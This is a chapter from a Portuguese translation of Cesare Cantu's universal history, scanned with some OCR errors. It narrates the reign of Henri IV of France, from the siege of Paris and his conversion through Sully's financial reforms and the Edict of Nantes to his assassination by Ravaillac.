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Césare Cantu – História Universal.
CAPÍTULO XXIV
Os Bourbons
Na hora da morte, sem inspirar nem saudades, nem dó, Henrique III recomendava aos seus que elevassem ao trono o rei de Navarra, e dizia a este príncipe: Jamais o tereis, se vos não fizerdes católico. Efetivamente, achando-se extinta a linha dos Valois, a herança real pertencia a Henrique de Bourbon, apesar de êle ser seu parente no vigésimo grau. Porém, em vez de bradarem como de costume: Morreu o rei, viva o rei! os ânimos ficavam indecisos. Os católicos, que faziam parte do exército, deviam ficar ligados ao príncipe apóstata, apesar da excomunhão? Os príncipes de sangue resolver-se-iam a reconhecê-lo? Que resolução deviam tomar os que tinham ofendido, e seus correligionários, que temiam que eles os abandonassem? Êle mesmo, que devia fazer? Se se declarava pelos huguenotes, perdia o apoio dos católicos e dava à liga uma nova força; se se entregava aos católicos, restavam-lhe muito poucas tropas. Êle se obrigou, todavia, para com eles, a fazer-se instruir em sua fé, a restituir aos eclesiásticos os bens tirados pelos protestantes, a não permitir o exercício do novo culto senão nos lugares em que êle era já tolerado. Em conseqüência, diferentes príncipes o reconheceram como rei com o nome de Henrique IV, outros ficaram entre os descontentes; porém muitos exclamavam: Vós sois o rei dos bravos, e só os covardes vos abandonarão.
A liga regozijou-se sem comedimento pela morte de Henrique III. A duquesa de Montpensier, que tinha contribuído ativamente para fomentar estes ódios encarniçados, e que se gabava de ter feito mais com as palavras de seus pregadores do que todos os da liga juntos com suas intrigas e com suas armas, correu a cidade toda de Paris anunciando a feliz notícia, e fazendo-a proclamar dos púlpitos. O bem-aventurado mártir Jacques Clemente tornou-se, assim como sua mãe, em objeto de um culto público, e cantava-se nas igrejas: Bendito o ventre que te trouxe, o seio que te amamentou! Como o Bearnês herege não pudesse ser sagrado .rei, o duque de Guise tivesse morrido, e Mayenne não ambicionasse a coroa, preferindo dominar sob o manto alheio, o cardeal de Bourbon, então prisioneiro de Henrique IV, foi proclamado com o nome de Carlos X. Porém, a fortuna coroou os esforços e a generosidade de Henrique IV, que animou seus soldados combatendo êle mesmo como soldado. Se perderdes as vossas bandeiras, disse-lhes êle, reuni-vos ao meu penacho branco. Numa ocasião em que os via fugir: Para a frente! hrada-lhes êle. Se não quereis combater, podereis pelo menos ver-me morrer. E, em meio de uma vitória1 Camaradas, diz-lhes êle, poupai os franceses! Por isso, apesar de Mayenne ter prometido trazê-lo preso a Pari e de se ter alugado janelas para o ver passar, Henri que IV, vencedor dos partidários da liga em Arques e em Ivry, veio de novo sitiar Paris. O papa mostrava-se com pesar hostil a um príncipe de que esperava a conversão. Mayenne não era assaz resoluto para chefe de partido, e segundo a expressão de Sixto V, passava mais tempo a jantar do que Henrique a dormir. O rei da Espanha prodigalizava dinheiro, na esperança de atrair a coroa sobre a cabeça de um príncipe da sua família; êle já falava em tom de amo, e o fanatismo dos Dezesseis o servia à medida dos desejos; porém formou-se um partido [rances em oposição à facção espanhola, o que multiplicou as divisões intestinas.
Havia na cidade duzentas e trinta mil pessoas, e víveres para um mês. No entanto, o ouro da Espanha e as exortações da duquesa de Montpensier fizeram suportar com paciência cruéis padecimentos. Pregadores fanáticos clamavam incessantemente contra o Bearnês, o que levava Henrique IV a dizer: Todo o meu mal vem do púlpito. Afinal já não havia que comer senão uma mistura de ardósia, de feno, de palha e de ossos pulverizados, a que se chamava pão de madame de Montpensier. Henrique IV queria poupar um assalto à cidade, na esperança de que a fome reduzisse os parisienses a se renderem. No entanto, dava socorros aos infelizes esfaimados e recebia as bocas inúteis que de lá faziam sair (1).
(1) Êle dizia que preferia quase não ter Paris, a havê-la arruinado com a morte de tantas pessoas. Uns camponeses que tinham sido presos por levar grão para Paris, e que eram conduzidos para a forca, encontram Henrique, ao qual eles clamam que não o fizeram por maldade, mas por não terem outro meio de ganhar a vida. Perdão! perdão! exclamou Henrique; e procurando em sua algibeira, deu-lhes o pouco dinheiro que trazia consigo, acrescentando: o Bearnês é pobre; dar-vos-ia mais se pudesse.
Alexandre Farnese, duque de Parma, herói contemporizador, chegou dos Países-Baixos com vinte e cinco mil soldados espanhóis; êle fêz levantar o sítio da cidade, reabasteceu-a, e voltou vencedor sem ter combatido. Então a Sorbona declarou pecado mortal, e digno de excomunhão, tratar com o Bearnês, ou acreditar que o trono de França pudesse ser dado a um herege. O novo pontífice Gregório XIV, dedicado a Filipe II (1590), mandou aos da liga dinheiro e armas, declarou Henrique IV herege relapso, e excomungou todo aquele que não cessasse de o favorecer. Porém as suas bulas foram queimadas pelo algoz e rasgadas pelos soldados.
No entanto, a liga ia-se dividindo em diferentes partidos. Os Dezesseis, apoiados pela Espanha, exerciam uma verdadeira tirania, fazendo morticínios entre si, e mandando-se alternadamente supliciar; mas afinal Mayenne resolveu-se a reprimi-los, pelo que os depôs e os puniu. Tendo os Estados-gerais sido então convocados, o rei da Espanha intrigou abertamente para fazer dar a coroa a um príncipe austríaco; mas os franceses, tomados de horror à vista de um tal perigo, diminuíram consideravelmente a aversão que Henrique IV lhes inspirava (1).
(1) Henrique IV dizia ao cardeal de Gondy e ao arcebispo de Lião: "Daria um dedo para ter uma batalha, e dois para uma paz geral; porém não me é possível fazer o que pedis. Amo a minha cidade de Paris, a minha filha mais velha, a minha namorada, pelo que lhe quero conceder mais favores e compaixão do que ela reclama. Porém quero que ela mo agradeça e que saiba receber este bem da tainha clemência, não do duque de Mayenne, nem do rei da Espa-nha… Eu sou o verdadeiro pai de meu povo, assemelho-me à ver-dadeira ira mãe em Salomão. Preferiria quase não ter Paris, a tê-la arruinada e devastada com a morte de tanta pobre gente. Pelo con-trário, os da liga não lhes repugna que Paris seja despedaçada, contanto mie eles tenham uma parte. São mesmo todos espanhóis ou espanho-lizados, Não se passa dia algum em que os arrabaldes de Paris não tenham a sofrer um estrago de cinqüenta mil libras pela mão dos soldados que os arrasam, não calculando o número dos desgraçados que morrem. Além de que, monsenhor cardeal, deveis ter dó, por isso que eles são as vossas ovelhas, de cujo sangue deveis dar contas a Deus até à última gota; e vós também, monsenhor de Lião, que sois o primaz de todos os outros bispos. Não sou bom teólogo, mas sei assaz de teologia para vos dizer que Deus não quer que trateis desta maneira o pobre povo que êle vos confiou, ainda que fosse para agradar ao rei da Espanha, a Bernardino Mendoza e ao senhor legado… Vós tereis o castigo no outro mundo. E como esperais vós converter-me à vossa religião, se fazeis tão pouco caso da vida de vossas ovelhas? Fraca prova é essa da vossa santidade, e muito mal me edificaria ela..,"
O bom senso, desencaminhado pelas argumentações escolásticas e por fanáticas declamações, foi reclamado à verdade pela Sátira Menipéia. Quatro ou cinco homens divertidos, admiradores de Rabelais e dos antigos, entraram a disparar livremente, em meio dos risos e dos copos, tiros mortais contra a liga. Censurando todos os atos, eles misturaram Aristófanes e Luciano, os jesuítas e Lutero, Mayenne e Gargantua, o Evangelho e o Digesto, e transformaram o partido dos Guises e o de Espanha em dois charlatães. Esta obra popular, se jamais o foi, oferece sob a fisionomia a cada um dos atores da liga, uma das paixões humanas; de sorte que em meio dos acidentes passageiros as tendências eternas da vida humana se acham ali reveladas. O povo não compreendia senão a parte mais ligeira; mas ela o tocava ao vivo, e êle respondia a esses apelos feitos ao seu bom senso nessas páginas, que faziam ressair a seus olhos as exagerações dos da liga, a ferocidade dos Dezesseis, e o perigo de cair debaixo de uma dominação estrangeira.
Por outro lado repetia-se, em toda parte, as expressões delicadas, soldadescas, generosas, benévolas de Henrique IV, assim como as proclamações redigidas por Mornay, e nas quais a eloqüência nascia da nobreza dos sentimentos. Seria erro imaginar este principe como um ousado pensador, não acreditando em coisa alguma, e para quem uma ou outra religião era indiferente: as suas cartas nos provam que o agitava o desejo de conhecer a verdade em negócios de tão grande importância. Havia algum tempo que êle tinha concebido desconfiança dos chefes protestantes, porque percebera que eles miravam a desmembrar o reino, fazendo reviver o feudalismo e a dominação das aristocracias. Êle reconhecia, pelo contrário, que havia entre os católicos homens honrados, dedicados à nacionalidade e à monarquia. Em conseqüência, ou por cálculo da sua parte, ou por sentimento, abjurou uma segunda vez o protestantismo (1593), para seguir a religião de seus avós. O resultado desta conversão foi o seu partido engrossar todos os dias e êle afinal fazer-se sagrar em Chartres (22 de fevereiro de 1594).
Então Mayenne saiu de Paris, e o povo entrou a bradar: Viva Henrique! A sua entrada na capital foi o mais belo triunfo de que um rei jamais teve as honras. Como os que o escoltaram quisessem fazer afastar o povo: Deixai-os aproximar, disse êle, eles estão famintos de ver um rei; e acrescentava: Venho com o esquecimento dos erros e com a lembrança dos serviços. Mesmo a seus soldados, sedentos de vingança, êle soube inspirar os nobres sentimentos que o animavam, para os converter em instrumento da sua clemência; pelo que, quando lhes mostravam os seus inimigos mais obstinados: Não conheciam o nosso bom rei, respondiam eles. Alguns habitantes tinham julgado conveniente guarnecer de barricadas as portas da cidade, mas Henrique IV exclamou: Nada de barricadas. Se cies não crêem no meu perdão ou se julgam indignos dele que acompanhem o embaixador da Espanha, ou o i nrdeal legado, Depois, quando estes dois dignitários se retiraram com as tropas, êle yiitou-lhes da janela: Os nossos cumprimentos a vosso amo, e não volteis mais aqui. Na mesma tarde, jogava as cartas com a duquesa de Montpensier.
A anedota mesmo adquire importância a respeito de um rei tão cheio de bondade, que nos esquecemos de admirar, por enlevados em o amar.
Neste entretanto, Clemente VIII, "a fim de não perder a França pela morosidade, como Clemente VII tinha perdido a Inglaterra pela precipitação", reconciliou Henrique IV com a igreja (1). As cidades do reino seguiram o exemplo de Paris; os senhores que tinham, esperado tornar-se independentes nas províncias curvaram a cabeça; os espanhóis que voltaram à carga foram batidos, finalmente Mayenne era extremamente repelido; e o rei, depois de o ter cansado a ponto de perder a respiração num passeio rápido, disse-lhe rindo: Ê este o único mal que vos farei.
(1) A coluna da praça Santa Maria Maior, em Roma, foi ereta em memória deste acontecimento,
Não se precisava menos do que uma tal clemência, e um reinado de bom senso, de bom humor, de lealdade, de economia, para acalmar tantas facções. Todos tinham na corte velhos ódios, a memória de antigos ultrajes, e a saudade de uma autoridade perdida; o rei não teria podido fartá-los de honras e de riquezas; mas mostrava-se sincero e afável para com eles; procurava distraí-los com a narração de suas façanhas, com o jogo, com caçadas fatigantes. Êle respondeu a alguém que lhe aconselhava um ato arbitrário: Dois amos mo proíbem, Deus e a lei. Comparava-se, quando dava empregos a antigos inimigos, com o químico que extrai dos venenos os seus antídotos, e dizia que a satisfação de vingança dura um momento, ao passo que a da clemência é eterna. Como o embaixador turco se admirasse do pequeno número de suas guardas, êle respondeu: Onde a justiça reina, é inútil a [orça.
Teve por amigos dois homens ilustres, que o ajudaram poderosamente: Filipe de Mornay, senhor du Plessis, e Maximiliano de Bethume, marquês de Rosny, depois duque de Sully. O primeiro, historiador protestante (1549-1623), guerreiro consumado, administrador econômico, político profundo e sincero, compreendeu cedo que as meias virtudes não bastavam contra a dissolução do tempo; e dava preceitos ao seu rei, como um mestre a seu discípulo, mas um mestre cheio de senso e de nobreza. Êle tinha dissuadido Henrique IV de se submeter à abjuração, ao passo que Sully (1560-1641), zeloso calvinista, mas de uma política mais complacente, lhe dava o conselho contrário. Homem de guerra, e contudo versado nas artes da paz, fixando suas vistas sobre o conjunto das coisas, sem desprezar os detalhes, Sully esclarecia o rei mesmo de frente. Êle deixou de parte a generalidade especulativa, para se ligar à realidade e ao que lhe parecia o bem do país; finalmente procurou constantemente a ordem e a economia, tão difícil depois de tantos abusos e de desordens, que não se precisava menos, para as fazer renascer, do que uma vontade obstinada.
Henrique IV tinha recuperado o seu reino, porém pobre, despedaçado, desordenado. Uma dívida de trezentos e trinta milhões onerava o Estado, cujos rendimentos não excediam trinta milhões: ainda muito mais era pago pela arrecadação, ou dilapidado em conseqüência dos abusos financeiros. Tendo os Estados sido reunidos em Ruão, Henrique IV lhes dirigiu estas palavras:
"Se me vangloriasse de passar por um excelente orador, teria aqui trazido melhores palavras do que boa vontade; porém a minha ambição dirige-se a coisa mais alta do que falar bem: aspiro ao glorioso título de libertador e de restaurador da França. Já, com o favor do céu, com os conselhos de meus fiéis servidores, e com a espada da minha brava e generosa nobreza (da qual não separo os meus príncipes, porque a qualidade de gentil-homem é o mais belo título que nós possuímos), a tirei da servidão e da ruína. Desejo agora restabelecê-la em sua primeira força e em seu antigo esplendor. Tomai parte, meus súditos, nesta segunda glória, como tendes tomado parte na primeira. Não vos chamei aqui, como faziam meus predecessores, para vos obrigar a aprovar cegamente as minhas vontades; mandei-vos reunir para receber os vossos conselhos, para os acreditar, para os seguir; em uma palavra, para me pôr em tutela entre vossas mãos. Não costumam os reis, de barbas brancas e vitoriosos como eu, ter semelhante desejo; porém o amor que sinto por meus súditos, e o extremo desejo que tenho de conservar o meu Estado, me fazem achar tudo fácil e tudo honroso".
A assembléia não propôs, como de costume, senão medidas insuficientes. Sully, pelo contrário, a pedido do rei (1), empregou todas as suas forças em reorganizar as finanças. Era necessário, em meio do transtorno geral das riquezas causado pela descoberta do Novo Mundo e pelas guerras, ocupar-se de achar alguma 1‘iimpensação preferível para adquirir dinheiro e para o ‘iinservar, e ao mesmo tempo regular a repartição do imposto. Foi Sully quem, com o parlamento inglês, criou a ciência financeira. Sully foi o primeiro administrador que não marchou à ventura: êle estudou com h m espírito de ordem os recursos e os encargos da F rança, depois do que estabeleceu a primeira conta preventiva. Êle se esforçou por aplicar a cada capítulo de despesa um ramo de rendimento que não devia nunca 1er desviado do seu destino. Reprimiu a cobiça dos arrematantes gerais, que arrecadavam cento e cinqüenta milhões, ao passo que só entravam com trinta para o tesouro. Os príncipes estrangeiros não puderam mais ter as gabelas de penhor ou arrematadas. Foi proibido apreender aos cultivadores endividados seus gados e seus instrumentos de trabalho; foi proibido aos soldados vexá-los, quer nas marchas, quer nos acantonamentos. Pôs-se freio à cobiça dos governadores de províncias. ( ) ministro que obteve semelhantes resultados é ainda mais admirável, por não ter tido modelos na administração de seus predecessores, e porque, chamado a remediar tantas desordens, êle teve de sofrer as calúnias de todos os interesses ofendidos.
Reconhecendo que para enriquecer o príncipe era preciso enriquecer os súditos, êle prodigalizou seus cuidados aos campos: A agricultura e as pastagens, dizia êle, devem ser os dois [eitos da França, as suas minas do Peru. Por isso grande número de terrenos incultos foram arroteados; êle aboliu as peias postas à circulação interior, simplificou a arrecadação dos rendimentos, suprimiu os favores concedidos em detrimento do povo, assim como a detestável taxa de soldo por libra sobre toda a espécie de mercadoria; e não se passou ano algum em que êle não aliviasse algum dos impostos que passavam mais particularmente sobre o povo.
(1) As cartas dirigidas por Henrique IV a Sully, para lhe pedir de entrar no conselho da fazenda real, são curiosas para consultar. Depois de ter discutido a condição geral do reino, êle acrescenta:
"…Quero também dizer-vos o estado a que me acho reduzido, que é tal, que estou muito próximo dos inimigos, e quase que não tenho um cavalo em que possa combater, nem uma armadura completa que possa vestir; as minhas camisas estão quase todas rasgadas, meus gibões todos esburacados no cotovelo, a minha panela está muitas vezes voltada; e há dois dias janto e ceio em casa de uns e de outros,
porque os meus despenseiros dizem que já não têm meios de fornecer a minha mesa, tanto mais que já excede de seis meses que eles não recebem dinheiro. Portanto, julgai se eu mereço ser assim tratado, e se devo sofrer por mais tempo que os contratadores e os tesoureiros me façam morrer de fome, e que eles tenham mesas delicadas e bem servidas; que a minha casa esteja cheia de necessidades e as. suas de riquezas e de opulência e se não tendes obrigação de me vir socorrer lealmente, como vos peço. — D’Amiens, 15 de abril de 1596".
Sully ignorou a importância das manufaturas: êle desprezava os artífices como nobre, e o luxo como calvinista. Esteve mesmo a ponto de se desavir com Henrique IV, porque este príncipe, dando ouvidos aos conselhos de Olivier de Serres, mandou plantar cinqüenta mil pés de amoreira por diocese.
Sully levou a aversão a este ramo de indústria, hoje tão importante em França, até a temer que a cultura dos bichos-da-sêda, substituindo os rudes trabalhos dos campos por ocupações que não exigem exercício corporal, e favorecendo o gosto do luxo, não acabasse por enervar o povo, e por lhe fazer perder esse espírito militar e essa aptidão para a guerra que são quase as únicas garantias da sua independência e da sua grandeza.
Êle confessa que quisera proscrever o uso das carruagens, ou pelo menos fazê-lo pagar caro à vaidade. Queria instituir uma Inquisição severa sobre as pessoas pródigas e devassas, e ao mesmo tempo proibir os grandes empréstimos, a não se justificar o emprego a que o dinheiro era destinado.
Os mesmos prejuízos lhe faziam considerar como roubado à França todo o dinheiro que se mandava para fora para importações, peío que êle foi um dos primeiros a introduzir o funesto sistema proibitivo, estabelecendo contra os contrabandistas penas extremamente severas. Quando os negociantes de seda de Paris vieram queixar-se-lhe, vestidos, como de seu costume, de belo pano com ricos forros de seda, Sully pegou na mão do seu chefe, e tendo-o feito voltar: Como! disse êle, vindes chorarlos aqui, e estais melhor Vestidos do que eu. Como assim! eis aqui tafetá, damasco e brocado. E continuou a escarnecê-los neste tom, de tal modo que eles diziam retirando-se: O criado é mais orgulhoso do que o amo.
Que resultou destas proibições? Os negociantes da Itália que se dirigiam à Inglaterra e à Flandres, passando pela França, assustados pela elevação do pedágio, tomaram a via do mar: tão imediatamente se faz sentir a funesta conseqüência dos erros em matéria de economia política!
Todas as outras partes do governo estavam lambem no estado mais deplorável ao tempo da exal-lação de Henrique IV; a administração só oferecia desordem; os parlamentos não eram obedecidos; os nobres mostravam-se arrogantes e rebeldes, como no lempo dos feudos; finalmente, os portos estavam vazios, no momento em que dois mundos pareciam sair das ondas para enriquecer os Estados vizinhos.
Henrique IV reprimiu a indisciplina dos soldados, despediu as milícias temporárias, proibiu usar armas de fogo; aconselhou a nobreza a permanecer e a ocupar-se em seus lares, antes do que vir entorpecer em ociosidade na corte. Êle proibiu os duelos, que em um ano tmham causado a morte de quatro mil gentis-homens-homens. Enquanto na Espanha queriam que as classes inferiores trabalhassem êm proveito só da nobreza, êle procurava submeter também os nobres aos encargos comuns.
O grande mérito do pacificador da França consiste precisamente em ter compreendido o poder do povo e a necessidade de o chamar em auxílio das suas empresas; em não o ter posto atrás dos nobres querendo que êle fosse reformado ou católico, mas levando-o a conquistar uma existência cômoda, e a independência que ela produz: Eu espero viver assaz, dizia êle, para que cada aldeão possa ter ao domingo uma galinha na panela (1).
Antônio Perez, que se tinha retirado para junto de Henrique IV, fugindo da corte de Filipe II, deu-lhe, em retribuição da sua hospitalidade, três bons conselhos para seguir: Roma, consejo, pielago. Efetivamente, êle manteve-se em harmonia com os papas, lembrou-se dos conselhos prudentes, e não desprezou a marinha. Estipulou a liberdade do comércio com a Inglaterra e com o sultão Achmet, publicou um édito para a extinção dos pântanos, e fêz regulamentos para a exploração das minas; embelezou Paris, começou o Hospital e a Escola Militar, assim como o canal de Briare entre o Sena e o Loire; projetava, além disso, juntar os dois mares reunindo o Aude ao Garonna.
(1) Temos, escrita pela mão de Sully, a marcha a seguir para restabelecer os negócios em França: 1.° reduzir todos os rebeldes à obediência, e ficar assim verdadeiramente senhor; 2° empregar-se em extinguir os ódios e as animosidades de seita e de religião; 3.° fazer uma minuta exata dos rendimentos do reino, da sua origem, da sua arrecadação, dos melhoramentos de que eles são suscetíveis; 4.° fazer outra de todas as dívidas da França, e imaginar os meios de as extinguir; 5.° ter um registro de todos os empregados civis e militares, e diminuir tanto quanto possível o seu número e vencimento; 6.° fazer uma lista de todas as cidades e fortalezas do rei e dos senhores, notando as que são absolutamente necessárias, e as que podem ser demolidas a pouco e pouco, sem ofender aqueles com quem cumpre ter atenções; 7.° fazer uma visita geral das fronteiras, principalmente nas costas, para formar uma carta exata, em que se indiquem principalmente ps lugares próprios para fundar portos e abrigadas, a fim de que a França seja tão poderosa por mar como por terra; 8.° reconhecer todas as dívidas da França para com os príncipes aliados, e formar uma confederação de todos os Estados que odeiam ou temem a casa de Áustria.
A França pôde também voltar então suas vistas para a América. Em 1562, Coligny tinha expedido para a Flórida navios em que certo número de calvinistas iam procurar não tesouros mas a paz civil e religiosa. O almirante espanhol Menendez destruiu a colônia, e mandou enforcar todos aqueles que caíram em seu poder, não como franceses, mas como hereges. Um gentil-homem gascão, chamado Domingos Gor-gues, grande inimigo da Espanha, empregou então tudo quanto possuía para armar alguns navios, e, arrojan-do-se sobre os colonos da Flórida, fê-los morrer por sua vez enforcados, não como espanhóis, mas como assassinos. Os franceses, abandonando este país muito vizinho das possessões do inimigo, dirigiram-se para a América do Norte, onde tinham descoberto Terra Nova, e penetraram no rio São Lourenço, nas margens do qual foi fundada em 1608 a cidade de Quebec, futura capital do Canadá.
Henrique IV, pelo Edito de Nantes (15 de abril de 1598), concedeu a seus antigos correligionários uma anistia inteira, tribunais para os proteger, e a liberdade do alto, exceto nas residências reais e a cinco milhas em volta de Paris. Eles contavam então mais de setecentas e sessenta igrejas, quatro universidades, em Montauban, em Saumur, em Montpellier e em Sedan, assim como as praças fortes de Montauban, da Rochelle e outras mais: formavam verdadeiramente um Estado, c foi isso o que Luís XIV julgou dever destruir para reconduzir o país à unidade.
Henrique IV pensou que podia conceder aos jesuí tas a tolerância que êle concedia aos protestantes. Eles tinham muito trabalho para penetrar no reino, em sua qualidade de adversários das liberdades da igreja galicana e dos direitos reais. Dizia-se, além disso (coisa notável, mas que não tem nada de admirável), que eles faziam um quinto voto pelo qual prometiam ser dedicados à Espanha, e que todos os dias oravam por Filipe II. Ora eles eram, neste momento, perseguidos na Espanha pela Inquisição e pelo rei, sobretudo, a quem não convinha nem a sua organização sólida, nem o poder que eles tinham de permitir a leitura dos livros proibidos, e de absolver os hereges, em vez de os queimar.
Henrique IV tinha-os chamado de novo (1603), e o padre Coton soube, por sua habilidade e sua moderação, afastar do seu espírito as sinistras prevenções que êle tinha contra êle. Um dia, discorrendo com êle no segredo do confessionário: Por conseguinte, disse Henrique IV, vós não denunciareis um homem que quisesse assassinar-me. — Não, senhor, respondeu o jesuíta, porém meter-me-ia entre êle e vós. Henrique IV chegou mesmo a defendê-los no parlamento (1), No entanto imputou-se aos jesuítas e aos capuchinhos as tentativas freqüentes dirigidas contra a vida do rei; e João Chatel, que feriu Henrique IV na boca, confessou ter sido impelido a este crime por ter ouvido dizer aos jesuítas que era ação meritória matar um herege e um tirano.
(1) De Thou, inimigo dos jesuítas, refere um discurso de Henrique IV, tal como êle o ouviu da sua boca.
Em conseqüência, procedeu-se de novo contra esta ordem como perturbadora do repouso público, inimiga do rei e do reino; e os jesuítas foram banidos de Paris. Mas, como os outros parlamentos não aceitassem este decreto, eles conservaram os colégios que possuíam fora da capital.
Príncipe algum teve mais dificuldade a vencer, mais ódios a extinguir, mais inimigos a domar, Foi uma felicidade para êle, porque reduzido à existência prosaica dos outros reis, teria sido um príncipe vulgar e dissoluto. Êle deixou onze bastardos reconhecidos, além de uma infinidade de outros que dotou; e seus inimigos souberam algumas vezes prevalecer-se da sua condescendência para com as mulheres, para alcançarem seus fins. Gabriela de Estrées foi aquela de suas amantes que mais tempo o prendeu; depois êle fêz dissolver, em virtude de ofensas recíprocas, mas alegando a falta de livre consentimento, o seu casamento com Margarida de Valois, que escreveu as suas Memórias para se desculpar. Tendo Gabriela morrido neste entretanto, o rei enamorou-se de Henriqueta de Entragues, e fêz-lhe promessa de casamento; mas Sully rasgou o papel mesmo à vista do rei, que lhe perdoou e que esposou Maria de Médicis, da qual nasceu Luís XIII (1600). Henrique IV nem por isso deixou de apaixonar-se violentamente, na idade de cinqüenta anos, de uma coquette de quinze, a ponto de querer fazer disso que-tão de Estado (1). Êle perguntou um dia ao embaixador de Rodolfo II, se seu amo tinha amantes. Ignoro-o, respondeu êle, porém se meu amo tem fraquezas, toma cuidado pelo menos de as ocultar. — Faz bem, replicou Henrique IV, se não tem assaz boas qualidades para fazer esquecer seus defeitos.
(1) O que não quer dizer que não acreditemos nos que contam que êle queria, por meio dela, fazer guerra à Espanha. Tendo Lameth dito, numa sessão da assembléia constituinte de 1791, que Henrique ÍV Unha estado próximo a pôr a Europa em fogo para recuperar a princesa de Conde, o abade Maury levantou-se para lhe responder, e revelarpovo". desígnios magnânimos "do único rei que ficaria em memória do povo". Este discurso, um dos mais eloqüentes que conhecemos entre os modernos, será digno de ser oferecido por modelo à mocidade, quando se renunciar a lhe dar uma educação unicamente grega e romana.
O condestável de Castela surpreendeu-o um dia no momento em que, curvado sobre o sobrado, ele levava seu filhinho escarranchado nas costas; como o embaixador quisesse retirar-se: Tendes filhos? perguntou-lhe Henrique IV; e, como recebesse resposta afirmativa, continuou a andar em volta da casa (1). Esta simplicidade doméstica, e a sua fidelidade para com seus amigos, lhe fazem perdoar seus desvarios amorosos. Tendo-lhe sido apresentadas algumas acusações contra Sully, êle foi dar-lhe conhecimento delas, e como o seu ministro, depois de se ter justificado, se lançasse a seus pés comovido da sua bondade: Que fazeis, exclamou Henrique IV. Se vos vissem, julga-riam que eu vos [aço favor. Delicadeza sublime num rei.
(1) A História está acostumada aos plágios como a poesia; leia-se a carta seguinte do Aretino a Franciotto, com data de abril de 1548:
"Se, antes de ontem, o grande número de pessoas com quem eu estava a conversar em minha casa, como vistes, me impediu de vos falar do vosso acesso de hilaridade, quando me vistes entre Hadria e Áustria, minhas filhas, das quais uma, de idade de onze anos, me tinha o pescoço apertado em seus braços, ao passo que a outra, que só tem onze meses, me puxava pela barba, não é porque eu não reparasse em tal: calei-me então, para vos dizer hoje uma bela coisa em comparação do doce sofrimento que eu padecia. — Lourenço e Julião (de Médicis), o primeiro pai de Leão, o outro de Clemente VII, tendo ido passar o tempo do calor em Poggio, aconteceu que um dia, pouco depois do jantar, eles se retiraram ao seu quarto para afugentar o sono. Como as janelas estavam abertas, e o vento, soprando-lhes de frente, os regozijasse com seu bafo, duas canas lhes vieram parar à mão, das quais eles fizeram cavalos. Cada um montou o seu; Julião quis que Júlio montasse na garupa, atrás dele, e Lourenço, que João fizesse outro tanto. Eles entraram assim a cavalgar sem esporas, e parecia que realmente esporeavam. Pelo que as crianças, todas alegres, experimentavam em sua inocência o mesmo prazer que ressente em sua ternura o pai que recreia a sua progénie. Esse Mariano, que foi depois chamado o frade dei Piombo, viu-os assim ocupados; e como não tinha podido deixar de rir com gosto, estes grandes personagens o convidaram a entrar. Eles pediram então a este homem alegre e leal para não dizer que tinha encontrado os dois irmãos (que foram depois pais de dois grandes pontífices brincando desse modo, antes de êle ter filhos; fazendo-lhe entender por estas prudentes palavras que a menor coisa que fazem aqueles que os têm é tornar-se loucos".
O fim perpétuo de sua política foi abater a casa de Áustria, não tanto para a arrastar à ruína como para a impedir de oprimir os outros. Filipe II não cessou jamais de fomentar contra eles conspirações e revoltas: êle invadiu a França (1596), tomou Amiens, que passava por inexpugnável, e ameaçou Paris, sus-tentado como era pelos senhores descontentes; mas Henrique IV retomou essa praça forte, e obrigou Filipe a consentir na paz de Vervins. A França recuperou cu ião tudo quanto ela tinha perdido em um século de i lesastres.
Manuel de Sabóia, que tinha sido obrigado a l eder, para recuperar Saluces, os países do outro lado dos Alpes, intrigou com a Espanha e com o marquês de Biron (1). Este senhor, não se achando bem recompensado por Henrique IV, traía a sua pátria, e entendia-se com os estrangeiros para a dividir. Descoberto uma primeira vez, o rei perdoou-lhe; mas à segunda, êle recusou confessar o seu crime, e foi mandado supliciar. Nas outras maquinações, que chegaram a dezenove,
Henrique IV sempre perdoou.
Êle passou em paz o último ano da sua vida,reverenciado, temido de todos, e considerado como árbitro da Europa. Tencionava dar-lhe repartição, formando uma República européia: ela devia compreender cinco monarquias hereditárias: a França, a Espanha, as ilhas britânicas, a Suécia, a Lombardia, com Sabóia, o Piemonte e o Milanês; seis Estados eletivos, a saber: os Estados pontifícios com Nápoles, a Hungria, a Alemanha, a Boêmia, a Polônia, a Dinamarca, as duas Repúblicas democráticas dos Países-Baixos com Juliers, Cleves e Berg, e da Suíça com a Alsácia, o Franco-Condado e o Tirol; duas Repúblicas aristocráticas, isto é, Veneza com a Sicília e a parte da Itália compreendendo a Toscana, Génova, Luca, Mântua, Módena, Parma e Mónaco. As desinteíigências teriam sido julgadas por um senado, que seria chamado também a decidir os negócios gerais, e sobretudo a ocupar-se dos meios de defender a Hungria e a Polônia contra os turcos, a Suécia contra os russos, os povos contra o despotismo, os reis contra o espírito de sedição.
(1) O pai de Biron tinha sido um dos homens de guerra mais distintos. Tendo o filho, durante as guerras de Henrique IV, pedido a este príncipe seis mil homens, com os quais prometia destruir o
exército do do duque de Parma, que retirava, o Bearnês recusou-lho, tra-tando-o como aventureiro; depois, chamando-o de parte, disse-lhe: "Eu bem sabia que tu podias ser bem sucedido; mas, se o fizesses, a guerra estava acabada, e tanto tu como eu não tínhamos mais que fazer do que ir plantar couves em Biron".
Esta utopia tinha-se já apresentado aos pontífices na Idade Média; porém que garantia dar-lhe, a não ser a própria que se tinha em vista extirpar? Seja como fôr, Henrique IV procura realizar o que havia de possível nas hipóteses arriscadas, e reunir a Europa em uma aliança contra a Áustria. A Áustria achava-se portanto em grande perigo, quando foi salva por Francisco Ravaillac, mancebo natural de Angoulême, que o assassinou. Este fanático confessou tê-lo ferido porque era huguenote e inimigo do papa. Êle esperava ser saudado com aplausos unânimes do povo, que, pelo contrário, o perseguiu com suas maldições até o lugar do seu suplício (1).
(1) Henrique IV foi assassinado em 14 de maio de 1610. Segundo Malherbe, a carruagem real, na rua Ferroneirie, esbarrou-se com uma carroça tendo que parar. Ravaillac correu à carruagem e deu duas punhaladas no rei, no lado esquerdo; uma feriu-o levemente, mas a outra cortou a artéria venosa.
O assassino foi preso logo após o atentado. O crime de lesa-majes-tade era punido com o esquartejamento. O procurador do rei, achando que essa tortura não bastava, mandou aumentar o suplício do réu.
Aplicaram em Bavaillac chumbo fundido, azeite e piche fervendo. Quando começou o esquartejamsnto um gentil-homem ofereceu cavalo vigoroso, que de um impulso arrancou logo a perna de Ravaillac.
Quando Ravaillac morreu, o carrasco retalhou-lhe o corpo e atirou pedaços ao povo que os reclamava a jogar à fogueira (Nota do Revisor).
